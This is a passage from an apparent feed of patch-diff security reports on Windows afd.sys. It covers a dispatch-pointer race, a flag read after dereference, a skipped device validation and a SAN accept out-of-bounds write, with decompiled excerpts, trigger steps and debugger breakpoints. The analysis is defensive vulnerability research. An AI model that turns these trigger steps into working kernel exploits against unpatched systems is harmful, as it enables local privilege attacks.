&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A748&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;ue&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A74D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retained&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A756&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;49646641&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AfdI&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C005A75E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExFreePoolWithTag&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3: &lt;code&gt;AfdCreateConnection&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;UNPATCHED gate at &lt;code&gt;0x1C00494AD&lt;/code&gt; (skips device validation when the feature is disabled):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00494A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_1484999993_59735560_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00494AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00494B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0049575&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idation&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00494D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ObReferenceObjectByHandle&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0049503&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoGetDeviceAttachmentBaseRef&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;PATCHED at &lt;code&gt;0x1C0049240&lt;/code&gt; performs &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; and &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; (&lt;code&gt;0x1C0049510&lt;/code&gt; / &lt;code&gt;0x1C0049567&lt;/code&gt;) with no &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gate in front of the validation.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Finding 1 (Race Condition):&lt;/strong&gt;
1. Open &lt;code&gt;\Device\Afd&lt;/code&gt; / create an AFD endpoint.
2. Issue TDI I/O-control operations that reach the endpoint dispatch helpers, so the in-flight counter at endpoint &lt;code&gt;+0xf8&lt;/code&gt; is non-zero (only meaningful when &lt;code&gt;g_Feature_3289849145_60513071&lt;/code&gt; is enabled).
3. Concurrently drive a TDI listen completion so &lt;code&gt;AfdTLListenComplete&lt;/code&gt; runs with status &lt;code&gt;&amp;gt;= 0&lt;/code&gt;, swapping the endpoint dispatch pointers.
4. Without the drain, the old function pointer is invoked while an in-flight dispatch is still running on the same endpoint.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding 2 (state flag read after deref):&lt;/strong&gt;
1. Create an AFD socket and drive a datagram connect that reaches the &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; cleanup path (&lt;code&gt;LABEL_42&lt;/code&gt;).
2. The path calls &lt;code&gt;ObfDereferenceObject(a1)&lt;/code&gt; and then, when the feature is disabled, reads &lt;code&gt;*(v5+8)&lt;/code&gt; to decide whether to free &lt;code&gt;MasterIrp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding 3 (device validation):&lt;/strong&gt;
1. Open &lt;code&gt;\Device\Afd&lt;/code&gt; and create a socket.
2. Prepare a file handle whose device stack differs from the AFD transport device.
3. Issue the AFD connect IOCTL supplying that handle.
4. On unpatched systems where &lt;code&gt;g_Feature_1484999993_59735560&lt;/code&gt; is disabled, the device-consistency check is skipped and the handle is accepted; the patched build returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding 1:&lt;/strong&gt; The change adds draining of in-flight TDI operations before the old endpoint dispatch pointer is invoked. Without it, the pointer swap and the old-pointer invocation are not synchronized against concurrent endpoint operations, which is a kernel data race on the endpoint dispatch fields. The indirect call itself is CFG-guarded (&lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;). A demonstrable exploitation primitive beyond a potential race-induced fault is not established from these binaries, and the fix is feature-gated, so realistic impact is rated Medium.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2:&lt;/strong&gt; The change caches a state flag before a reference drop. Whether the dereference frees the memory backing &lt;code&gt;v5&lt;/code&gt; is not demonstrable from these binaries; the flag only controls whether &lt;code&gt;MasterIrp&lt;/code&gt; is freed. This is a defensive lifetime hardening; no reachable memory-corruption primitive is established, so it is rated Low.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 3:&lt;/strong&gt; Making the device-consistency validation unconditional prevents associating a handle from a mismatched device stack with an AFD connection when the feature would otherwise be disabled. Impact is a logic/validation gap; downstream type-confusion consequences are not demonstrated here. Rated Medium.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;p&gt;For an analyst with a kernel debugger attached to &lt;code&gt;afd_unpatched.sys&lt;/code&gt;:&lt;/p&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdTLListenComplete&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd_unpatched.sys+0x597d0        ; AfdTLListenComplete entry
  bp afd_unpatched.sys+0x5982a        ; loads old function pointer
  bp afd_unpatched.sys+0x59853        ; guarded indirect call&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;At entry, &lt;code&gt;rbx&lt;/code&gt; (set at &lt;code&gt;0x1C005980C&lt;/code&gt; from &lt;code&gt;[r10+18h]&lt;/code&gt;) is the endpoint; &lt;code&gt;ebp&lt;/code&gt; is the IRP status (must be &lt;code&gt;&amp;gt;= 0&lt;/code&gt; for the success path). Inspect &lt;code&gt;[rbx+0x10]&lt;/code&gt; and &lt;code&gt;[rbx+0x18]&lt;/code&gt; before and after the swap at &lt;code&gt;0x1C0059843&lt;/code&gt;/&lt;code&gt;0x1C0059847&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoint:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd_unpatched.sys+0x64510        ; ObfDereferenceObject in LABEL_42&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;After the call returns, the instruction at &lt;code&gt;0x1C0064516&lt;/code&gt; (&lt;code&gt;test dword ptr [rbx+8], 100h&lt;/code&gt;) reads the state flag; inspect the pool backing &lt;code&gt;rbx&lt;/code&gt; to determine validity.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: &lt;code&gt;AfdCreateConnection&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoint:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd_unpatched.sys+0x494ad        ; EvaluateCurrentState gate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Observe the return value in &lt;code&gt;eax&lt;/code&gt;; when &lt;code&gt;0&lt;/code&gt;, the &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C00494B4&lt;/code&gt; skips &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; and the device-match comparison.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Security-relevant changes:&lt;/strong&gt;
- &lt;code&gt;AfdAddConnectedReference @ 0x1C0047C0C&lt;/code&gt; (Sim: 0.2164): Adds the &lt;code&gt;g_Feature_3289849145_60513071&lt;/code&gt; gate; when enabled, moves the connected-reference counter update to be atomic with the lock. Part of the in-flight synchronization mechanism (Finding 1).
- &lt;code&gt;AfdTLListenComplete @ 0x1C00597D0&lt;/code&gt; (Sim: 0.2987): Adds the feature-gated spin-wait on the endpoint in-flight counter &lt;code&gt;[rbx+0xf8]&lt;/code&gt; after swapping the dispatch context/function pointer and before invoking the old function pointer (Finding 1).
- &lt;code&gt;AfdTLPauseUnPause @ 0x1C0058550&lt;/code&gt; (Sim: 0.8123): Wraps its TDI dispatch call with the feature-gated in-flight counter increment/decrement (Finding 1).
- &lt;code&gt;AfdQueryCompartmentId @ 0x1C00357D0&lt;/code&gt; (Sim: 0.8946): Wraps its TDI dispatch call with the feature-gated in-flight counter increment/decrement at endpoint &lt;code&gt;+0xf8&lt;/code&gt; (Finding 1).
- &lt;code&gt;AfdDoDatagramConnect @ 0x1C0059588&lt;/code&gt; (Sim: 0.9056): Caches the &lt;code&gt;MasterIrp&lt;/code&gt; free flag before &lt;code&gt;ObfDereferenceObject&lt;/code&gt; in the cleanup path, gated by &lt;code&gt;g_Feature_566223161_61092118&lt;/code&gt; (Finding 2).
- &lt;code&gt;AfdCreateConnection @ 0x1C00491B0&lt;/code&gt; (Sim: 0.9365): Removes the &lt;code&gt;g_Feature_1484999993_59735560&lt;/code&gt; gate, making the device-consistency validation unconditional (Finding 3).
- &lt;code&gt;AfdCreateConnection_Old @ 0x1C0015AF8&lt;/code&gt; (Sim: 0.9600): Same gate removal / unconditional validation as &lt;code&gt;AfdCreateConnection&lt;/code&gt; (Finding 3).
- &lt;code&gt;AfdGetAddress @ 0x1C0035A00&lt;/code&gt; (Sim: 0.9733): Wraps its recv-path TDI dispatch call with the feature-gated in-flight counter increment/decrement at endpoint &lt;code&gt;+0xf8&lt;/code&gt; (Finding 1).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Behavioral / structural changes (endpoint field inserted at &lt;code&gt;+0xf8&lt;/code&gt;, shifting later offsets, e.g. &lt;code&gt;0x158&lt;/code&gt; -&amp;gt; &lt;code&gt;0x160&lt;/code&gt;):&lt;/strong&gt;
- &lt;code&gt;AfdConnect @ 0x1C0047FD0&lt;/code&gt;: Connect/accept dispatch; offset shifts and updated callee addresses.
- &lt;code&gt;AfdTLConnectEventHandler @ 0x1C0056800&lt;/code&gt;: Large function; offset shifts and callee address changes.
- &lt;code&gt;AfdSetInformation @ 0x1C00543F0&lt;/code&gt;: Offset shifts and callee address changes; no new security checks.
- &lt;code&gt;AfdTLDelayAcceptListenComplete @ 0x1C0068280&lt;/code&gt;: Dispatcher; updated callee addresses.
- &lt;code&gt;AfdCleanupCore @ 0x1C004A560&lt;/code&gt;: Endpoint teardown; offset shifts and callee address updates.
- &lt;code&gt;AfdGetInformation @ 0x1C0036010&lt;/code&gt;: Offset shifts and callee address changes; no new security checks.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High on the mechanism and direction of each change; measured on impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- Findings 1 and 2 are staged behind runtime feature flags (&lt;code&gt;g_Feature_3289849145_60513071&lt;/code&gt; and &lt;code&gt;g_Feature_566223161_61092118&lt;/code&gt;) via &lt;code&gt;EvaluateCurrentState&lt;/code&gt;, with the original behavior retained when the flag is disabled. Their effect at runtime depends on the feature's deployed state, which cannot be determined from the binaries alone.
- Finding 3 is delivered unconditionally: the gate symbol &lt;code&gt;g_Feature_1484999993_59735560&lt;/code&gt; is present in the unpatched decompilation of &lt;code&gt;AfdCreateConnection&lt;/code&gt; and &lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; and absent from the patched build.
- For Finding 2, whether &lt;code&gt;ObfDereferenceObject(a1)&lt;/code&gt; frees the allocation backing &lt;code&gt;v5 = *(a1+0x18)&lt;/code&gt; is not demonstrable from these binaries; the change is characterized as a defensive lifetime hardening rather than a proven use-after-free.
- The indirect call in Finding 1 is CFG-guarded; no exploitation primitive beyond a potential race-induced fault is established here.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Out-of-bounds write in AfdSanAcceptCore SAN transport-address copy (CWE-787) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_b0fe7d72-afd-report-20260626-133911.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_b0fe7d72-afd-report-20260626-133911.html</id><summary type="html">&lt;p&gt;KB5075999&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9888&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1073 matched functions, 10 changed functions, 1063 identical functions, and 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds bounds clamping to the SAN (System Area Network) accept path in &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;, where the remote peer's transport-address length is used as a copy size without an upper-bound check against the destination buffer capacity. The clamps address a real out-of-bounds write, but they are gated behind a Windows feature flag (&lt;code&gt;EvaluateCurrentState&lt;/code&gt; on &lt;code&gt;g_Feature_232206649_59779869&lt;/code&gt;); when the flag is disabled the patched code follows the same unbounded path as the unpatched build. The path is only reachable through SAN sockets (endpoint type &lt;code&gt;0x1AFD&lt;/code&gt;), a specialized direct-access networking path, so severity is assessed as Medium rather than High.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds write (CWE-787)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; handles SAN socket accept operations. When a connection is accepted, the function copies the remote peer's transport-address data (captured at connect time) into the accepting socket's address buffer, which is described by an MDL and reached through &lt;code&gt;MmMapLockedPages&lt;/code&gt;. The copy size is taken directly from a 16-bit length field in the connection data (&lt;code&gt;*(word)(ConnData+0x14)&lt;/code&gt;, plus a small constant of 8, 2, or 4 depending on the address format). In the unpatched build, the destination capacity (&lt;code&gt;*(dword)(AcceptInfo+0x10)&lt;/code&gt;, &lt;code&gt;AddressBufferLength&lt;/code&gt;) is only tested for being non-zero (&lt;code&gt;cmp [rbx+0x10], edi; jbe&lt;/code&gt;); it is never compared against the copy size. A peer whose transport-address length exceeds the accepting socket's address-buffer capacity therefore causes a write past the end of the destination buffer.&lt;/p&gt;
&lt;p&gt;The patched build adds, before each copy, a minimum-capacity requirement (&lt;code&gt;&amp;gt;= 0xc&lt;/code&gt;) and a clamp of the copy size to the destination capacity (&lt;code&gt;min(copy_size, capacity)&lt;/code&gt;). Each of these new checks is guarded by &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_232206649_59779869_FeatureDescriptorDetails)&lt;/code&gt;; when the feature evaluates to disabled, the copies run without the clamp exactly as in the unpatched build.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Call Chain:&lt;/strong&gt;
Reachable locally from a process that creates an AFD SAN socket and issues an accept IOCTL.
1. &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; (User-mode API targeting &lt;code&gt;\Device\Afd&lt;/code&gt;)
2. &lt;code&gt;AfdDispatchDeviceControl&lt;/code&gt; (Kernel dispatch)
3. &lt;code&gt;AfdAccept&lt;/code&gt; / &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; (IOCTL_AFD_ACCEPT / IOCTL_AFD_SUPER_ACCEPT)
4. &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt;
5. &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (address copy)&lt;/p&gt;
&lt;p&gt;Reachability is constrained to SAN endpoints (type &lt;code&gt;0x1AFD&lt;/code&gt;); creating a functional SAN socket requires an active SAN provider and is not part of the ordinary TCP/UDP accept path.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3. Decompilation Diff&lt;/h3&gt;
&lt;p&gt;Real decompiled excerpts from both builds. &lt;code&gt;v15&lt;/code&gt; is the accept address descriptor (&lt;code&gt;*(endpoint+0xB8)&lt;/code&gt;): &lt;code&gt;v15[2]&lt;/code&gt;=&lt;code&gt;AddressBuffer&lt;/code&gt; offset (+0x8), &lt;code&gt;v15[4]&lt;/code&gt;=&lt;code&gt;AddressBufferLength&lt;/code&gt; capacity (+0x10), &lt;code&gt;v15[6]&lt;/code&gt;=&lt;code&gt;AddressOffset&lt;/code&gt; (+0x18). &lt;code&gt;v36&lt;/code&gt;/&lt;code&gt;v59&lt;/code&gt; is the stored remote transport address; &lt;code&gt;*(word)(v36+0x14)&lt;/code&gt; is the peer-supplied length.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED AfdSanAcceptCore ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// ONLY checks capacity != 0&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// peer address length (+0x14)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// copy size, no upper bound&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// MDL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// TDI-format flag&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
